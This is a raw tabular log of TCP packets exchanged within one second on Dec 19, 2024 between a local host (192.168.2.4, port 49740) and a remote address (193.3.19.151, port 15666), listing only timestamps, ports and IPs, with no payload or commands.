Dec 19, 2024 08:11:59.611999035 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612031937 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612041950 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612061024 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612071037 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612082005 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612113953 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612173080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612184048 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612226009 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612314939 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612323999 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612366915 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612401009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612411976 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612451077 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612476110 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612485886 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612524986 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612560034 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612569094 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612612963 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612638950 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612734079 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612744093 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612751961 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612793922 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612826109 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612834930 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612873077 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.612988949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.612998962 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613009930 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613018990 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613029957 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.613053083 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.613217115 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613226891 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613262892 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.613318920 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613328934 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613367081 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.613476992 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613487959 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613529921 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.613578081 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613596916 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613650084 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.613740921 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613750935 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613801003 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.613861084 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613871098 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613904953 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.613939047 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613949060 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.613990068 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.614032030 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.614042997 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.614084005 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.614116907 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.614128113 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.614167929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.614171982 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.614665985 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.731230021 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731297016 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731322050 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731332064 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731493950 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731503010 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731528044 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.731544971 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731554985 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731563091 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.731595039 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.731667995 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731678009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731718063 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.731960058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.731970072 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732027054 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.732083082 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732091904 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732134104 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.732198954 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732208967 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732253075 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.732361078 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732378006 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732388020 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732423067 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732439995 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.732471943 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.732502937 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732511997 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732553005 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.732615948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732714891 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732724905 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732733965 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732777119 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.732815027 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732824087 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.732862949 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.733120918 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733146906 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733166933 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.733191013 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.733324051 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733398914 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733450890 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.733489990 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733539104 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733587980 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.733653069 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733661890 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733702898 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.733766079 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733776093 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733814955 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.733916998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733927011 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.733969927 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734044075 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734111071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734164000 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734184027 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734231949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734286070 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734338045 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734427929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734437943 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734452963 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734479904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734502077 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734582901 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734592915 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734632015 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734672070 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734716892 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734746933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734756947 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734764099 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734782934 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734802961 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734806061 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734869957 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734914064 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.734950066 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.734958887 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735004902 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735074997 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735085011 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735131025 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735132933 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735141993 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735188007 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735232115 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735328913 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735337973 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735344887 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735382080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735390902 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735421896 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735431910 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735439062 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735461950 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735482931 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735483885 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735493898 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735497952 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735532045 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735662937 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735699892 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735702991 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735730886 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735742092 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735781908 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.735929966 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735939026 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735969067 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735979080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.735982895 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736020088 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736123085 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736133099 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736172915 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736185074 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736195087 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736242056 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736288071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736298084 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736332893 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736351967 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736361027 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736394882 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736500978 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736517906 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736527920 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736574888 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736594915 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736630917 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736640930 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736680984 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736741066 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736753941 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736779928 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736789942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736790895 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736829996 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736888885 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736898899 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.736948967 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.736975908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737096071 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737111092 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737119913 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737153053 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737200022 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737210035 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737248898 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737256050 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737266064 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737318039 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737339973 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737350941 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737386942 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737415075 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737425089 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737472057 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737485886 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737494946 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737535000 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737596989 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737608910 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737648964 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737663984 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737673044 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737720013 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737760067 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737807035 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737854004 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737879992 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737889051 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737916946 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737931967 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.737958908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.737965107 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.738008022 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.738087893 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738096952 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738116026 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738132000 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738156080 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.738171101 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.738192081 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738200903 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738239050 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.738274097 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738284111 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738328934 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.738341093 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738493919 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738503933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738518953 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738557100 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.738571882 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738580942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.738620043 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.851372004 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.851387978 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.851494074 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.851517916 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.851527929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.851581097 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.851623058 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.851713896 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.851720095 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.851763010 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.851851940 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.851907969 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.851952076 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.852097034 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852107048 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852150917 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.852235079 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852243900 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852293015 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.852375031 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852385044 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852432013 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.852541924 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852581978 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.852605104 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852710962 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852720976 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852761984 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.852859020 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852869034 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852876902 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852888107 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.852919102 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.852941990 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853003979 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853013992 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853058100 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853152037 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853162050 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853200912 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853261948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853271961 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853303909 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853316069 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853382111 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853391886 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853429079 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853446960 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853460073 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853483915 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853512049 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853528976 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853609085 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853619099 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853662014 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853713989 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853770971 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853786945 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853812933 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.853832960 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853864908 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.853914976 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.854027987 CET	15666	49740	193.3.19.151	192.168.2.4
